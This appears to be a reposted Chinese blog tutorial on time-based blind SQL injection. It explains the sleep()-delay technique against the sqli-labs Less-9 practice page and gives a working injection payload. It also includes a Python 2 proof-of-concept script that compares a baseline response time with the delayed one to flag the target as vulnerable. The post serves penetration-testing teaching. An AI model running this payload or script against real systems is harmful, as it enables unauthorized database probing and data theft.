渗透测试之POC基于时间的sql盲注
程序员文章站
2022-06-13 12:56:16
...
这次写写基于时间的sql盲注。
当整个页面没有地方显示数据的时候,这时候存在sql注入,我用md5()函数也没有地方响应出来。那么执行什么函数去证明存在注入呢?sleep()函数,页面执行了,sleep()函数后,从发请求到完全响应就有一个固定的延迟时间。
下面来看测试网站:
无论你ID=多少他都是 you are in .....
基于时间盲注最常见的语句就是 If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 意思是如果数据库名称的第一个字母是ascii编码为大于115(即字母s),那么延迟5秒钟。
所以把这个盲注的poc拼接上去我们看看效果
可以看到响应时间为6.59秒,超过我们延迟的5秒。
如果我们直接这样写,那网络不好或者本来网站很差响应很慢肯定会产生大量的误报问题。
所以正确是写法是先发一次请求,得到一个正常的响应时间。
然后再poc发一次请求,得到一个带延迟的响应时间。理论上两个时间差大于5秒,实际上在4秒之间,这样才判断存在基于时间的sql盲注,这样误报会降低很多。
SO 开始根据这个思路写无框架的POC
#coding:utf-8
import requests
import sys
import time
def verify(url):
target1 = url + "/Less-9/?id=1"
target2 = url + "/Less-9/?id=1%27%20and%20if(ascii(substr(database(),1,1))>115,%200,%20sleep(5))%20%23"
try:
#记录正常请求的时间
start_time1 = time.time()
req1 = requests.get(target1)
response1 = req1.text
now_time1 = time.time() - start_time1
print now_time1
#记录POC发送的时间
start_time2 = time.time()
req2 = requests.get(target2)
response2 = req2.text
now_time2 = time.time() - start_time2
print now_time2
#print response
#判断响应时间
now_time = now_time2 - now_time1
print now_time
if now_time >= 4:
print "%s is vulnerable" %target2
else:
print "%s is not vulnerable" %target2
except Exception,e:
print "Something happend...."
print e
def main():
args = sys.argv
url = ""
if len(args) == 2:
url = args[1]
#print url
verify(url)
else:
print "Usage:python %s url"%(args[0])
if __name__ == '__main__':
main()
测试效果
上一篇: C++设计模式之组合模式(composite)(结构型)
下一篇: 维生素多的食物,家长们注意